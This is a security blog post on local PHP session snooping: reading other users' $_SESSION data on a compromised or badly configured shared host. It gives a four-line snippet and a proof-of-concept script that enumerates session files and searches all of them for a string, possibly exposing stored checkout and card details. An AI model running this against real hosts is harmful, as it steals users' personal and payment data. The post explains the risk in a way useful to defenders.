Articles of Haxxor Security

Mango

Local session snooping is not as much a security issue as a way of gathering information from an already compromised web application. Unless it is a badly configured shared host where an attacker might gather otherwise unobtainable information. It's basically about extracting all the information a web application stored in the super global $_SESSION variable.

Nevertheless, it is easy. The one thing needed is a session id (the value of the PHPSESSID cookie). If the host uses PHP's default session handler, these could easily be enumerated as in the POC further down in this post.

Here is the most basic example of local session snooping.

```
?
1session_id('16khau0g8c3mp3t3jbsedsc1mf0blvpu');
2session_start();
3var_dump($_SESSION);
4session_write_close();
```

1. Set the session id you would like to snoop on.
2. Start the session.
3. Dump all of the info contained within the $_SESSION variable.
4. Finally, close the session.

A dangerous scenario

We have all seen these multistage checkouts in different webshops. You fill in your address, click next, fill in your preferred shipping method, click next, fill in your credit card details and so on. There is also often a back button and the visitor can go back an fourth without loosing the values previously entered. The easiest way to code such a feature is to store all form values in the $_SESSION array.

That is information you do not want to have lying around in your session storage. What is even more troublesome is that these session variables are rarely cleared when finished doing their job. They are retained until the server decides the session is to old and wipes it. This could take hours or even days on a less active host.

The attacker

Consider a remote attacker who broke into a webshop or another web application that contains potentially valuable data. The attacker would be able to snoop thrue every active or lingering session. The attacker might even setup a automatic script that does it hourly.

The worst case scenario would be a badly configured shared host where the attacker are able to snoop on every session belonging to all of the hosted websites.

POC

Here is a short script to find and search every accessible session for a given string.

```
?
  // http://ha.xxor.se/2011/08/local-session-snooping-in-php.html

  // A string to search for in every session.
1 $search_for = 'test';
2
3 // Retrieve the path where session files are saved
4 session_save_path(); // Might have to be called twice... not sure.
5 $sesspath = session_save_path();
6 if(php_sapi_name()!=='cli')echo "
7
```

```
8 \n";
9
10// Test session.save_handler
11$sessmod = session_module_name();
12if(empty($sessmod))$sessmod = ini_get('session.save_handler');
13echo "[i] Session save handler: $sessmod\n";
14if($sessmod !== 'files'){
15 echo "[!] Possible Error: session.save_handler is set to '$sessmod'
16instead of 'files'. Trying anyway.\n";
17}
18
19if(empty($sesspath)){
20 $sesspath = ini_get('session.save_path');
21 if(empty($sesspath)){
22  if(function_exists('sys_get_temp_dir')){
23   $sesspath = sys_get_temp_dir();
24  }else{
25   die('Error:Cant fins session save path. Try setting it manualy.');
26  }
27 }
28}
29$sesspath = array_pop(explode(';',$sesspath));
30echo "[i] Session save path: $sesspath\n";
31// Enumerate sessions
32$sessions = array();
33clearstatcache();
34if(!findSessIn($sesspath)){
35 die("[!] Error: Cannot open the session save path.\n");
36}
37
38function findSessIn($dir){
39 global $sessions;
40 if(!($handler = opendir($dir))){
41
42  return false;
43 }
44 while ($file = readdir($handler)){
45  $path = substr($dir, -1) === DIRECTORY_SEPARATOR ? $dir.$file :
46$dir.DIRECTORY_SEPARATOR.$file;
47   //echo "$path \n";
48  if (substr($file, 0, 5) === 'sess_' && is_readable($path)){
49   $sessions[] = substr($file, 5);
50  }elseif(strlen($file) === 1 && is_dir($path) && $file !== '.'){
51   findSessIn($path);
52  }
53 }
54 closedir($handler);
55 return true;
56}
57
58// Search
59echo "[i] Searching for \"$search_for\"...\n";
60foreach($sessions as $session){
61 session_id($session);
62 session_start();
63 if(stristr(serialize($_SESSION), $search_for) !== FALSE) {
64  echo "[+] somehing found in $session.  Serialized data:
65".serialize($_SESSION)."\n";
66 }else{
```

```
67  echo "[-] nothing found in  $session.\n";
68 }
   session_write_close();
  }
  ?>
```